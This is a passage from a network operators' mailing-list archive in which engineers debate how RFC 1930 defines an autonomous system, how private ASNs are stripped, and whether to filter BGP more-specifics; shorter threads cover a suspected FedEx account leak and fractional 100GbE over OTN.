<31fc300c0ab0443bbf467eee07269089@ex16prd04a.dpu.depaul.edu> <20190520182648.4c09a5eb@p50.localdomain> <145e94f3-c09b-3258-c550-4e06856dc623@gmail.com> <659833449.159585.1558544909780.JavaMail.zimbra@cluecentral.net> <309082944.293160.1558717432418.JavaMail.zimbra@cluecentral.net> <730542563.4590.1558718919496.JavaMail.mhammett@ThunderFuck> <49813d6b-46a6-8258-e009-c8fac0c6a61f@inoc.net> Message-ID: Bill, Are your sure about your Error #2, where you say "Prefixes from the same AS are not required to have direct connectivity to each other and many do not."? From BGP definitions: The AS represents a connected group of one or more blocks of IP addresses, called IP prefixes, that have been assigned to that organization and provides a single routing policy to systems outside the AS. “...a connected group..." implies that all the prefixes in an AS must have direct connectivity to each other (direct meaning within the IGP of the AS). I realize that some AS’s have hot backup facilities that they advertise with heavy prefixing, but in my experience, the backup facility must still be interconnected with the rest of the AS, because prefixing doesn’t guarantee no packets will its that border router. -mel On May 30, 2019, at 9:54 AM, William Herrin > wrote: On Thu, May 30, 2019 at 8:30 AM Robert Blayzor > wrote: On 5/24/19 2:22 PM, William Herrin wrote: > Get it? I announce the /24 via both so that you can reach me when there > is a problem with one or the other. If you drop the /24, you break the > Internet when my connection to CenturyLink is inoperable. Good job! It would be dropped only if the origin-as was the same. Your AS and your carriers aggregate announcement would be from two different origin AS. At least that's the gist of it... Hi Robert, Error #1: https://tools.ietf.org/html/rfc6996 section 4. It's permissible to announce to your transits with a private AS which they remove before passing the announcement to the wider Internet. As a result, the announcement from each provider will have that provider's origin AS when you see it even though it's actually from a downstream multihomed customer. Error #2: An AS is an informative handle, not a route. In routing research parlance, an identifier not a locator. Prefixes from the same AS are not required to have direct connectivity to each other and many do not. The origin AS could solve this by disaggregating the announcement and sending no covering route, but that's exactly what you DON'T want them to do. Regards, Bill Herrin -- William Herrin bill at herrin.us https://bill.herrin.us/ -------------- next part -------------- An HTML attachment was scrubbed... URL: From saku at ytti.fi Thu May 30 17:36:46 2019 From: saku at ytti.fi (Saku Ytti) Date: Thu, 30 May 2019 20:36:46 +0300 Subject: BGP prefix filter list In-Reply-To: References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <31fc300c0ab0443bbf467eee07269089@ex16prd04a.dpu.depaul.edu> <20190520182648.4c09a5eb@p50.localdomain> <145e94f3-c09b-3258-c550-4e06856dc623@gmail.com> <659833449.159585.1558544909780.JavaMail.zimbra@cluecentral.net> <309082944.293160.1558717432418.JavaMail.zimbra@cluecentral.net> <730542563.4590.1558718919496.JavaMail.mhammett@ThunderFuck> <49813d6b-46a6-8258-e009-c8fac0c6a61f@inoc.net> Message-ID: Hey William, > Error #1: https://tools.ietf.org/html/rfc6996 section 4. > > It's permissible to announce to your transits with a private AS which they remove before passing the announcement to the wider Internet. As a result, the announcement from each provider will have that provider's origin AS when you see it even though it's actually from a downstream multihomed customer. This may not be common interpretation of the section you cite. Remove-private-asn implementation (CSCO, JNPR) does not remove privates after head. As your transit provider will receive head having your public ASN, they cannot remove any subsequent private ASNs. Only one who can remove private-asn is the originator. Your transit provider can only drop the route or propagate route with private asn in it. It would be inadvisable to send paths with private ASN to your transit operator, as not all transit operators are comfortable propagating those. -- ++ytti From bill at herrin.us Thu May 30 17:42:17 2019 From: bill at herrin.us (William Herrin) Date: Thu, 30 May 2019 10:42:17 -0700 Subject: BGP prefix filter list In-Reply-To: References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <31fc300c0ab0443bbf467eee07269089@ex16prd04a.dpu.depaul.edu> <20190520182648.4c09a5eb@p50.localdomain> <145e94f3-c09b-3258-c550-4e06856dc623@gmail.com> <659833449.159585.1558544909780.JavaMail.zimbra@cluecentral.net> <309082944.293160.1558717432418.JavaMail.zimbra@cluecentral.net> <730542563.4590.1558718919496.JavaMail.mhammett@ThunderFuck> <49813d6b-46a6-8258-e009-c8fac0c6a61f@inoc.net> Message-ID: > On Thu, May 30, 2019 at 10:11 AM Mel Beckman wrote: > > Are your sure about your Error #2, where you say "Prefixes from the same AS are not required to have direct connectivity to each other and many do not."? > > > > From BGP definitions: > > > > The AS represents a connected group of one or more blocks of IP addresses, called IP prefixes, that have been assigned to that organization and provides a single routing policy to systems outside the AS. >From -what- BGP definitions? This one? https://www.scribd.com/document/202454953/Computer-Networking-Definitions Lots of things get claimed in books and CS courses that are neither reflected in the standards nor match universal practice. Heck, most networking courses still teach class A, B and C... definitions which were explicitly invalidated a quarter of a century ago. Even where authors are knowledgeable, they're constrained to present approximate explanations lest the common use get lost in the minutiae. When you want to act on the knowledge in an unusual way, you do not have that luxury. The experts in the IRTF Routing Research Group spent something like 6 years trying to find a way to filter the BGP RIB in the middle without damaging the Internet. They came up with zip. A big zero. They all but proved that it's impossible to build a routing protocol that aggregates anything anywhere but at the edges while still obeying the most basic policy constraints like not stealing transit. Forget getting BGP to do it, they couldn't come up with an entirely new protocol that did better. Regards, Bill Herrin -- William Herrin bill at herrin.us https://bill.herrin.us/ -------------- next part -------------- An HTML attachment was scrubbed... URL: From rblayzor.bulk at inoc.net Thu May 30 17:43:40 2019 From: rblayzor.bulk at inoc.net (Robert Blayzor) Date: Thu, 30 May 2019 13:43:40 -0400 Subject: BGP prefix filter list In-Reply-To: References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <31fc300c0ab0443bbf467eee07269089@ex16prd04a.dpu.depaul.edu> <20190520182648.4c09a5eb@p50.localdomain> <145e94f3-c09b-3258-c550-4e06856dc623@gmail.com> <659833449.159585.1558544909780.JavaMail.zimbra@cluecentral.net> <309082944.293160.1558717432418.JavaMail.zimbra@cluecentral.net> <730542563.4590.1558718919496.JavaMail.mhammett@ThunderFuck> <49813d6b-46a6-8258-e009-c8fac0c6a61f@inoc.net> Message-ID: <3219465b-b1e3-9558-de5b-07756eb7ee22@inoc.net> On 5/30/19 12:54 PM, William Herrin wrote: > It's permissible to announce to your transits with a private AS which > they remove before passing the announcement to the wider Internet. As a > result, the announcement from each provider will have that provider's > origin AS when you see it even though it's actually from a downstream > multihomed customer. If you were a multi-homed customer the route would still originate from two different AS's, both of your upstream ISP's. If it's the same ISP, then that would not apply. But then again, if it were the same ISP they could filter the more specific and learn downstream customer routes either by IGP, filtering or tagging the /24 with no-export. -- inoc.net!rblayzor XMPP: rblayzor.AT.inoc.net PGP: https://pgp.inoc.net/rblayzor/ From bill at herrin.us Thu May 30 17:48:21 2019 From: bill at herrin.us (William Herrin) Date: Thu, 30 May 2019 10:48:21 -0700 Subject: BGP prefix filter list In-Reply-To: <3219465b-b1e3-9558-de5b-07756eb7ee22@inoc.net> References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <31fc300c0ab0443bbf467eee07269089@ex16prd04a.dpu.depaul.edu> <20190520182648.4c09a5eb@p50.localdomain> <145e94f3-c09b-3258-c550-4e06856dc623@gmail.com> <659833449.159585.1558544909780.JavaMail.zimbra@cluecentral.net> <309082944.293160.1558717432418.JavaMail.zimbra@cluecentral.net> <730542563.4590.1558718919496.JavaMail.mhammett@ThunderFuck> <49813d6b-46a6-8258-e009-c8fac0c6a61f@inoc.net> <3219465b-b1e3-9558-de5b-07756eb7ee22@inoc.net> Message-ID: On Thu, May 30, 2019 at 10:43 AM Robert Blayzor wrote: > On 5/30/19 12:54 PM, William Herrin wrote: > > It's permissible to announce to your transits with a private AS which > > they remove before passing the announcement to the wider Internet. As a > > result, the announcement from each provider will have that provider's > > origin AS when you see it even though it's actually from a downstream > > multihomed customer. > > If you were a multi-homed customer the route would still originate from > two different AS's, both of your upstream ISP's. If it's the same ISP, > then that would not apply. But then again, if it were the same ISP they > could filter the more specific and learn downstream customer routes > either by IGP, filtering or tagging the /24 with no-export Hi Robert, Figured someone would stumble in to this one. 1. What happens to the packets when the /24 gets filtered from one source (in favor of an aggregate) but not from the other? 2. In exchange for this liability, did you gain any capacity in your router? Regards, Bill Herrin -- William Herrin bill at herrin.us https://bill.herrin.us/ -------------- next part -------------- An HTML attachment was scrubbed... URL: From mel at beckman.org Thu May 30 17:58:35 2019 From: mel at beckman.org (Mel Beckman) Date: Thu, 30 May 2019 17:58:35 +0000 Subject: BGP prefix filter list In-Reply-To: References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <31fc300c0ab0443bbf467eee07269089@ex16prd04a.dpu.depaul.edu> <20190520182648.4c09a5eb@p50.localdomain> <145e94f3-c09b-3258-c550-4e06856dc623@gmail.com> <659833449.159585.1558544909780.JavaMail.zimbra@cluecentral.net> <309082944.293160.1558717432418.JavaMail.zimbra@cluecentral.net> <730542563.4590.1558718919496.JavaMail.mhammett@ThunderFuck> <49813d6b-46a6-8258-e009-c8fac0c6a61f@inoc.net> , Message-ID: Bill, Come on now. The definition of an autonomous system is well established in RFC1930, which is still Best Current Practice: https://tools.ietf.org/html/rfc1930#section-3 An AS is a connected group of one or more IP prefixes run by one or more network operators which has a SINGLE and CLEARLY DEFINED routing policy. This is not an “approximate explanation“. It’s a standard, as strong as any standard that exists for the Internet. How is your statement "Prefixes from the same AS are not required to have direct connectivity to each other and many do not” supported by the published standard? :-) -mel On May 30, 2019, at 10:42 AM, William Herrin > wrote: > On Thu, May 30, 2019 at 10:11 AM Mel Beckman > wrote: > > Are your sure about your Error #2, where you say "Prefixes from the same AS are not required to have direct connectivity to each other and many do not."? > > > > From BGP definitions: > > > > The AS represents a connected group of one or more blocks of IP addresses, called IP prefixes, that have been assigned to that organization and provides a single routing policy to systems outside the AS. From -what- BGP definitions? This one? https://www.scribd.com/document/202454953/Computer-Networking-Definitions Lots of things get claimed in books and CS courses that are neither reflected in the standards nor match universal practice. Heck, most networking courses still teach class A, B and C... definitions which were explicitly invalidated a quarter of a century ago. Even where authors are knowledgeable, they're constrained to present approximate explanations lest the common use get lost in the minutiae. When you want to act on the knowledge in an unusual way, you do not have that luxury. The experts in the IRTF Routing Research Group spent something like 6 years trying to find a way to filter the BGP RIB in the middle without damaging the Internet. They came up with zip. A big zero. They all but proved that it's impossible to build a routing protocol that aggregates anything anywhere but at the edges while still obeying the most basic policy constraints like not stealing transit. Forget getting BGP to do it, they couldn't come up with an entirely new protocol that did better. Regards, Bill Herrin -- William Herrin bill at herrin.us https://bill.herrin.us/ -------------- next part -------------- An HTML attachment was scrubbed... URL: From valdis.kletnieks at vt.edu Thu May 30 18:31:15 2019 From: valdis.kletnieks at vt.edu (Valdis Kl=?utf-8?Q?=c4=93?=tnieks) Date: Thu, 30 May 2019 14:31:15 -0400 Subject: BGP prefix filter list In-Reply-To: References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <31fc300c0ab0443bbf467eee07269089@ex16prd04a.dpu.depaul.edu> <20190520182648.4c09a5eb@p50.localdomain> <145e94f3-c09b-3258-c550-4e06856dc623@gmail.com> <659833449.159585.1558544909780.JavaMail.zimbra@cluecentral.net> <309082944.293160.1558717432418.JavaMail.zimbra@cluecentral.net> <730542563.4590.1558718919496.JavaMail.mhammett@ThunderFuck> <49813d6b-46a6-8258-e009-c8fac0c6a61f@inoc.net> Message-ID: <10986.1559241075@turing-police> On Thu, 30 May 2019 10:42:17 -0700, William Herrin said: > Heck, most networking courses still teach class A, B and C... definitions > which were explicitly invalidated a quarter of a century ago. If you had asked me back in 1993 if I was going to be retired before class A/B/C was gone from common usage and documentation, I'd have called you a crazy person. I have to wonder how much the IPv6 deployment has been stalled by similar outdated documentation and coursework (like the "security" recommendation to "block all ICMP"). -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 832 bytes Desc: not available URL: From nanog at as397444.net Thu May 30 17:42:46 2019 From: nanog at as397444.net (Matt Corallo) Date: Thu, 30 May 2019 13:42:46 -0400 Subject: BGP prefix filter list In-Reply-To: References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <31fc300c0ab0443bbf467eee07269089@ex16prd04a.dpu.depaul.edu> <20190520182648.4c09a5eb@p50.localdomain> <145e94f3-c09b-3258-c550-4e06856dc623@gmail.com> <659833449.159585.1558544909780.JavaMail.zimbra@cluecentral.net> <309082944.293160.1558717432418.JavaMail.zimbra@cluecentral.net> <730542563.4590.1558718919496.JavaMail.mhammett@ThunderFuck> <49813d6b-46a6-8258-e009-c8fac0c6a61f@inoc.net> Message-ID: <260C3142-E029-459C-9797-165260AEBA82@as397444.net> Required or not, I've seen a number of networks doing this. At some point "single global ASN" became a marketable pitch and folks realized they don't actually have to have a single Network to get it. Matt (Oops +nanog, sorry Mel + William) > On May 30, 2019, at 13:10, Mel Beckman wrote: > > Bill, > > Are your sure about your Error #2, where you say "Prefixes from the same AS are not required to have direct connectivity to each other and many do not."? > > From BGP definitions: > > The AS represents a connected group of one or more blocks of IP addresses, called IP prefixes, that have been assigned to that organization and provides a single routing policy to systems outside the AS. > > “...a connected group..." implies that all the prefixes in an AS must have direct connectivity to each other (direct meaning within the IGP of the AS). I realize that some AS’s have hot backup facilities that they advertise with heavy prefixing, but in my experience, the backup facility must still be interconnected with the rest of the AS, because prefixing doesn’t guarantee no packets will its that border router. > > -mel > > >> On May 30, 2019, at 9:54 AM, William Herrin wrote: >> >> >> >>> On Thu, May 30, 2019 at 8:30 AM Robert Blayzor wrote: >>> On 5/24/19 2:22 PM, William Herrin wrote: >>> > Get it? I announce the /24 via both so that you can reach me when there >>> > is a problem with one or the other. If you drop the /24, you break the >>> > Internet when my connection to CenturyLink is inoperable. Good job! >>> >>> >>> It would be dropped only if the origin-as was the same. Your AS and your >>> carriers aggregate announcement would be from two different origin AS. >>> At least that's the gist of it... >> >> Hi Robert, >> >> Error #1: https://tools.ietf.org/html/rfc6996 section 4. >> >> It's permissible to announce to your transits with a private AS which they remove before passing the announcement to the wider Internet. As a result, the announcement from each provider will have that provider's origin AS when you see it even though it's actually from a downstream multihomed customer. >> >> Error #2: An AS is an informative handle, not a route. In routing research parlance, an identifier not a locator. Prefixes from the same AS are not required to have direct connectivity to each other and many do not. The origin AS could solve this by disaggregating the announcement and sending no covering route, but that's exactly what you DON'T want them to do. >> >> Regards, >> Bill Herrin >> >> >> -- >> William Herrin >> bill at herrin.us >> https://bill.herrin.us/ > -------------- next part -------------- An HTML attachment was scrubbed... URL: From bill at herrin.us Thu May 30 19:48:14 2019 From: bill at herrin.us (William Herrin) Date: Thu, 30 May 2019 12:48:14 -0700 Subject: BGP prefix filter list In-Reply-To: References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <31fc300c0ab0443bbf467eee07269089@ex16prd04a.dpu.depaul.edu> <20190520182648.4c09a5eb@p50.localdomain> <145e94f3-c09b-3258-c550-4e06856dc623@gmail.com> <659833449.159585.1558544909780.JavaMail.zimbra@cluecentral.net> <309082944.293160.1558717432418.JavaMail.zimbra@cluecentral.net> <730542563.4590.1558718919496.JavaMail.mhammett@ThunderFuck> <49813d6b-46a6-8258-e009-c8fac0c6a61f@inoc.net> Message-ID: > On Thu, May 30, 2019 at 10:58 AM Mel Beckman wrote: > > Come on now. The definition of an autonomous system is well established in RFC1930, which is still Best Current Practice: > > https://tools.ietf.org/html/rfc1930#section-3 Your quote wasn't from the RFC. Sorry, my google fu is only good enough to find your actual quote, not the similar one you didn't reference. > > An AS is a connected group of one or more IP prefixes run by one > > or more network operators which has a SINGLE and CLEARLY DEFINED > > routing policy. Interesting but it bears little resemblance to modern practice. Consider an anycast announcement, for example, where multiple distributed servers at isolated pops terminate the packet. Consider Amazon where both region-local unicast announcements and global anycast announcements all originate from AS 16509. Indeed the whole concept of traffic engineering rests on the premise that an AS' routing policy is NOT the same at every border. Regsards, Bill Herrin -- William Herrin bill at herrin.us https://bill.herrin.us/ -------------- next part -------------- An HTML attachment was scrubbed... URL: From mel at beckman.org Thu May 30 20:00:54 2019 From: mel at beckman.org (Mel Beckman) Date: Thu, 30 May 2019 20:00:54 +0000 Subject: BGP prefix filter list In-Reply-To: References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <31fc300c0ab0443bbf467eee07269089@ex16prd04a.dpu.depaul.edu> <20190520182648.4c09a5eb@p50.localdomain> <145e94f3-c09b-3258-c550-4e06856dc623@gmail.com> <659833449.159585.1558544909780.JavaMail.zimbra@cluecentral.net> <309082944.293160.1558717432418.JavaMail.zimbra@cluecentral.net> <730542563.4590.1558718919496.JavaMail.mhammett@ThunderFuck> <49813d6b-46a6-8258-e009-c8fac0c6a61f@inoc.net> , Message-ID: <8C7C492C-DEF6-41D0-A4AF-DF6ACD6A006A@beckman.org> Yes, my original quote wasn’t exactly word-for-word from the standard, but it was semantically identical. I’m sure we can find corner cases, but it’s clear that the vast majority of BGP users are following the standard. Anycast isn’t a violation of the standards because it’s defined in BGP as a single destination address having multiple routing paths to two or more endpoints. -mel On May 30, 2019, at 12:48 PM, William Herrin > wrote: > On Thu, May 30, 2019 at 10:58 AM Mel Beckman > wrote: > > Come on now. The definition of an autonomous system is well established in RFC1930, which is still Best Current Practice: > > https://tools.ietf.org/html/rfc1930#section-3 Your quote wasn't from the RFC. Sorry, my google fu is only good enough to find your actual quote, not the similar one you didn't reference. > > An AS is a connected group of one or more IP prefixes run by one > > or more network operators which has a SINGLE and CLEARLY DEFINED > > routing policy. Interesting but it bears little resemblance to modern practice. Consider an anycast announcement, for example, where multiple distributed servers at isolated pops terminate the packet. Consider Amazon where both region-local unicast announcements and global anycast announcements all originate from AS 16509. Indeed the whole concept of traffic engineering rests on the premise that an AS' routing policy is NOT the same at every border. Regsards, Bill Herrin -- William Herrin bill at herrin.us https://bill.herrin.us/ -------------- next part -------------- An HTML attachment was scrubbed... URL: From goemon at sasami.anime.net Thu May 30 20:12:44 2019 From: goemon at sasami.anime.net (Dan Hollis) Date: Thu, 30 May 2019 13:12:44 -0700 (PDT) Subject: PSA: change your fedex.com account logins Message-ID: I received a credit card scam addressed to my one-off unique address registered to fedex.com. So it seems fedex.com user database has been compromised. Change your logins asap. -Dan From lists.nanog at monmotha.net Thu May 30 20:15:55 2019 From: lists.nanog at monmotha.net (Brandon Martin) Date: Thu, 30 May 2019 16:15:55 -0400 Subject: Flexible OTN / fractional 100GbE In-Reply-To: References: <77d292f4-21a1-e188-790f-c774808940a4@ceriz.fr> <7906FF25-EBF4-4E04-BB6B-88756FE90F1D@lixfeld.ca> <90f197a5-220e-da9c-4ad1-de55f824aa1f@ceriz.fr> <2652260f-62a1-1438-bffd-28e1591710f7@monmotha.net> Message-ID: <11a28163-8db8-3805-15b6-0bb19dc2b644@monmotha.net> On 05/30/2019 03:40, Jérôme Nicolle wrote: > What I have in mind is actually to combine line-rate ODUs with a static > mapping and pipe the uncommitted capacity to a packet-switch. > > Statically commited services will be muxponded in fastpath, hence no > jitter and less latency, while the fractionnal ports use the remaining > ports, mostly for low-priority IP traffic. > > Now I was assuming ODUFlex in CBR mode would allow fractionnal services > without packet switching, but mapping an ethernet service to it would > require some equivalent glue logic I guess, specifically for this case : I see what you're getting at. It sounds like you want to light up a 100Gb wave, put some committed "dedicated wavelength" services on it, then take whatever's left and hand it off on 100GbE for best-effort/general Internet traffic. Not a bad idea. I guess the idea would be to dynamically provision a FlexODU or something for the remaining bandwidth and switch the Ethernet traffic onto it encapsulated in GFP-F. I see no reason why this isn't possible, but I know of nothing that would do it. So someone needs to make a box with a couple QSFP+ (breakout capable), a couple SFP+, a QSFP28 UNI for the 40/100GbE with subrate commit, and a QSFP28 NNI to speak OTU4 into the network that supports all that. Let me know if you find it! :) -- Brandon From mattlists at rivervalleyinternet.net Thu May 30 20:51:52 2019 From: mattlists at rivervalleyinternet.net (Matt Hoppes) Date: Thu, 30 May 2019 16:51:52 -0400 Subject: PSA: change your fedex.com account logins In-Reply-To: References: Message-ID: <1AABDF19-427D-4DCA-98A3-107A1E31E88C@rivervalleyinternet.net> Possibly. The other possibility I can think of is that you succumbed to a phishing scheme where are you entered the login information for your Fed ex account. > On May 30, 2019, at 4:12 PM, Dan Hollis wrote: > > I received a credit card scam addressed to my one-off unique address registered to fedex.com. > > So it seems fedex.com user database has been compromised. Change your logins asap. > > -Dan From rblayzor.bulk at inoc.net Thu May 30 21:28:57 2019 From: rblayzor.bulk at inoc.net (Robert Blayzor) Date: Thu, 30 May 2019 17:28:57 -0400 Subject: BGP prefix filter list In-Reply-To: References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <31fc300c0ab0443bbf467eee07269089@ex16prd04a.dpu.depaul.edu> <20190520182648.4c09a5eb@p50.localdomain> <145e94f3-c09b-3258-c550-4e06856dc623@gmail.com> <659833449.159585.1558544909780.JavaMail.zimbra@cluecentral.net> <309082944.293160.1558717432418.JavaMail.zimbra@cluecentral.net> <730542563.4590.1558718919496.JavaMail.mhammett@ThunderFuck> <49813d6b-46a6-8258-e009-c8fac0c6a61f@inoc.net> <3219465b-b1e3-9558-de5b-07756eb7ee22@inoc.net> Message-ID: On 5/30/19 1:48 PM, William Herrin wrote: > 1. What happens to the packets when the /24 gets filtered from one > source (in favor of an aggregate) but not from the other?  > > 2. In exchange for this liability, did you gain any capacity in your router? It was my understanding that the argument for filtering at your own edge, routes which you receive that has an aggregate covering route and a /24 more specific prefix. For a single multi-homed network with two transit ISP's it won't make much of a difference unless you are strapped for outbound bandwidth. Filter away, because you have a covering aggregate route. I'm not saying this will work for ALL networks of any size, but for organizations with just a couple of transit links and not much TE going on, it would be a perfectly viable option rather than overloading your TCAM due to budget constraints... -- inoc.net!rblayzor XMPP: rblayzor.AT.inoc.net PGP: https://pgp.inoc.net/rblayzor/ From bellman at nsc.liu.se Thu May 30 22:55:21 2019 From: bellman at nsc.liu.se (Thomas Bellman) Date: Fri, 31 May 2019 00:55:21 +0200 Subject: BGP prefix filter list In-Reply-To: <8C7C492C-DEF6-41D0-A4AF-DF6ACD6A006A@beckman.org> References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <20190520182648.4c09a5eb@p50.localdomain> <145e94f3-c09b-3258-c550-4e06856dc623@gmail.com> <659833449.159585.1558544909780.JavaMail.zimbra@cluecentral.net> <309082944.293160.1558717432418.JavaMail.zimbra@cluecentral.net> <730542563.4590.1558718919496.JavaMail.mhammett@ThunderFuck> <49813d6b-46a6-8258-e009-c8fac0c6a61f@inoc.net> <8C7C492C-DEF6-41D0-A4AF-DF6ACD6A006A@beckman.org> Message-ID: <6e6de9d6-da7b-d9d4-0641-397ee40c2868@nsc.liu.se> On 2019-05-30 20:00 +0000, Mel Beckman wrote: > I’m sure we can find corner cases, but it’s clear that the vast ^^^^^ > majority of BGP users are following the standard. "Citation needed". :-) How is it clear that the vast majority are following this? I wouldn't be at all surprised if it *is* literally true; e.g, quite a lot of BGP users are probably single-homed and thus are forced to use private ASNs for talking BGP to their ISP; and lots of BGP users are also single-site, and don't engage in traffic engineering. But those cases are also not very interresting for this. It is more interresting to look at those that according to RFC 1930 *should* use multiple ASNs; how many of those *do* have separate ASNs for each group of prefixes with a "single and clearly defined routing policy", and how many *don't*? Any organization that has multiple sites with their own Internet connections, would then need an AS number for each site. How many people follow that? Can I get multiple ASNs from RIPE/ARIN/et.c for this case? (That's an honest question; the policies I found does mention sites or connected groups of networks, but they also mention organizations in a way that makes me wonder.) As others have mentioned, if you do traffic engineering by announcing prefixes with e.g. different BGP communities, or different amounts of ASN prefixing, you should according to RFC 1930 get a separate ASN for each unique combination of communities and ASN prefixing. Will RIPE/APNIC/et.c grant us multiple ASNs for that? I kind of suspect that we would be told to get lost if we requested 256 ASNs from RIPE for traffic engineering our /16 into 256 /24:s... /Bellman -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 836 bytes Desc: OpenPGP digital signature URL: From surfer at mauigateway.com Thu May 30 23:07:53 2019 From: surfer at mauigateway.com (Scott Weeks) Date: Thu, 30 May 2019 16:07:53 -0700 Subject: BGP prefix filter list Message-ID: <20190530160753.57FD07D@m0117458.ppops.net> --- bellman at nsc.liu.se wrote: From: Thomas Bellman ... prefixes with a "single and clearly defined routing policy" ------------------------------------------ Having been on quite a few networks in my career, (eyeball/enterprise) I'd say many struggle with having a "single and clearly defined routing policy" >;-) <=== evil grin scott From eric.kuhnke at gmail.com Thu May 30 23:20:49 2019 From: eric.kuhnke at gmail.com (Eric Kuhnke) Date: Thu, 30 May 2019 16:20:49 -0700 Subject: Paging voip.ms management Message-ID: After attempting several times, and failing to get something resembling a real RFO from your first tier customer support/ticket answering staff, I am now looking for a person in a position of responsibility at voip.ms. Please contact me off list. -------------- next part -------------- An HTML attachment was scrubbed... URL: From mel at beckman.org Fri May 31 00:10:42 2019 From: mel at beckman.org (Mel Beckman) Date: Fri, 31 May 2019 00:10:42 +0000 Subject: BGP prefix filter list In-Reply-To: <6e6de9d6-da7b-d9d4-0641-397ee40c2868@nsc.liu.se> References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <20190520182648.4c09a5eb@p50.localdomain> <145e94f3-c09b-3258-c550-4e06856dc623@gmail.com> <659833449.159585.1558544909780.JavaMail.zimbra@cluecentral.net> <309082944.293160.1558717432418.JavaMail.zimbra@cluecentral.net> <730542563.4590.1558718919496.JavaMail.mhammett@ThunderFuck> <49813d6b-46a6-8258-e009-c8fac0c6a61f@inoc.net> <8C7C492C-DEF6-41D0-A4AF-DF6ACD6A006A@beckman.org>, <6e6de9d6-da7b-d9d4-0641-397ee40c2868@nsc.liu.se> Message-ID: "Citation needed". :-) How is it clear that the vast majority are following this? Uh, because the Internet works? Think about it. If an AS advertises prefixes that can’t be reached through all of its border routers, those prefixes would lose packets. But I don’t need to provide a citation. The burden of proof is on the person making the assertion, and the assertion by Bill was that having disconnected prefixes in an AS was common. That’s the assertion that needs a citation. My statement is just an opinion that it is clear that most AS’s are following the standard. And we’re not talking about single-homed AS’s using private ASNs. Those are definition excluded, because, being single homed, there is only one path to their prefixes. Any organization that has multiple sites with their own Internet connections, would then need an AS number for each site. What are you talking about? Do you use multi homed BGP? If so, I’d expect you to know that an organization with multiple sites having their own Internet still uses a single AS. They have IGP paths to route traffic between sites (e.g., by using dedicated circuits). -mel On May 30, 2019, at 3:55 PM, Thomas Bellman > wrote: On 2019-05-30 20:00 +0000, Mel Beckman wrote: I’m sure we can find corner cases, but it’s clear that the vast ^^^^^ majority of BGP users are following the standard. "Citation needed". :-) How is it clear that the vast majority are following this? I wouldn't be at all surprised if it *is* literally true; e.g, quite a lot of BGP users are probably single-homed and thus are forced to use private ASNs for talking BGP to their ISP; and lots of BGP users are also single-site, and don't engage in traffic engineering. But those cases are also not very interresting for this. It is more interresting to look at those that according to RFC 1930 *should* use multiple ASNs; how many of those *do* have separate ASNs for each group of prefixes with a "single and clearly defined routing policy", and how many *don't*? Any organization that has multiple sites with their own Internet connections, would then need an AS number for each site. How many people follow that? Can I get multiple ASNs from RIPE/ARIN/et.c for this case? (That's an honest question; the policies I found does mention sites or connected groups of networks, but they also mention organizations in a way that makes me wonder.) As others have mentioned, if you do traffic engineering by announcing prefixes with e.g. different BGP communities, or different amounts of ASN prefixing, you should according to RFC 1930 get a separate ASN for each unique combination of communities and ASN prefixing. Will RIPE/APNIC/et.c grant us multiple ASNs for that? I kind of suspect that we would be told to get lost if we requested 256 ASNs from RIPE for traffic engineering our /16 into 256 /24:s... /Bellman -------------- next part -------------- An HTML attachment was scrubbed... URL: From valdis.kletnieks at vt.edu Fri May 31 00:49:18 2019 From: valdis.kletnieks at vt.edu (Valdis Kl=?utf-8?Q?=c4=93?=tnieks) Date: Thu, 30 May 2019 20:49:18 -0400 Subject: BGP prefix filter list In-Reply-To: <20190530160753.57FD07D@m0117458.ppops.net> References: <20190530160753.57FD07D@m0117458.ppops.net> Message-ID: <26367.1559263758@turing-police> On Thu, 30 May 2019 16:07:53 -0700, "Scott Weeks" said: > Having been on quite a few networks in my career, > (eyeball/enterprise) I'd say many struggle with > having a "single and clearly defined routing policy" Which part do they find problematic, the "single" part, or the "clearly defined" part? ;) -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 832 bytes Desc: not available URL: From valdis.kletnieks at vt.edu Fri May 31 00:58:34 2019 From: valdis.kletnieks at vt.edu (Valdis Kl=?utf-8?Q?=c4=93?=tnieks) Date: Thu, 30 May 2019 20:58:34 -0400 Subject: BGP prefix filter list In-Reply-To: References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <20190520182648.4c09a5eb@p50.localdomain> <145e94f3-c09b-3258-c550-4e06856dc623@gmail.com> <659833449.159585.1558544909780.JavaMail.zimbra@cluecentral.net> <309082944.293160.1558717432418.JavaMail.zimbra@cluecentral.net> <730542563.4590.1558718919496.JavaMail.mhammett@ThunderFuck> <49813d6b-46a6-8258-e009-c8fac0c6a61f@inoc.net> <8C7C492C-DEF6-41D0-A4AF-DF6ACD6A006A@beckman.org>, <6e6de9d6-da7b-d9d4-0641-397ee40c2868@nsc.liu.se> Message-ID: <26701.1559264314@turing-police> On Fri, 31 May 2019 00:10:42 -0000, Mel Beckman said: > What are you talking about? Do you use multi homed BGP? If so, I���d expect you > to know that an organization with multiple sites having their own Internet > still uses a single AS. They have IGP paths to route traffic between sites > (e.g., by using dedicated circuits). The situation being discussed is an organization with multiple sites that *don't* have a behind-the-scenes dedicated circuit, tunnel, or other interconnect. For example, XYZ Corp has a POP in Tokyo announcing a /16 to their provider there, and a POP in DC announcing a different /16 to their North American provider, using the same ASN for both - but traffic between the two /16s traverses the commodity Internet. Or they advertise the same /16 and pray to the anycast gods. :) (Actually, that's OK too, as long as both Tokyo and DC also announce a second route (possibly a more-specific, or different address space) for their interconnect needs) -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 832 bytes Desc: not available URL: From mel at beckman.org Fri May 31 01:18:55 2019 From: mel at beckman.org (Mel Beckman) Date: 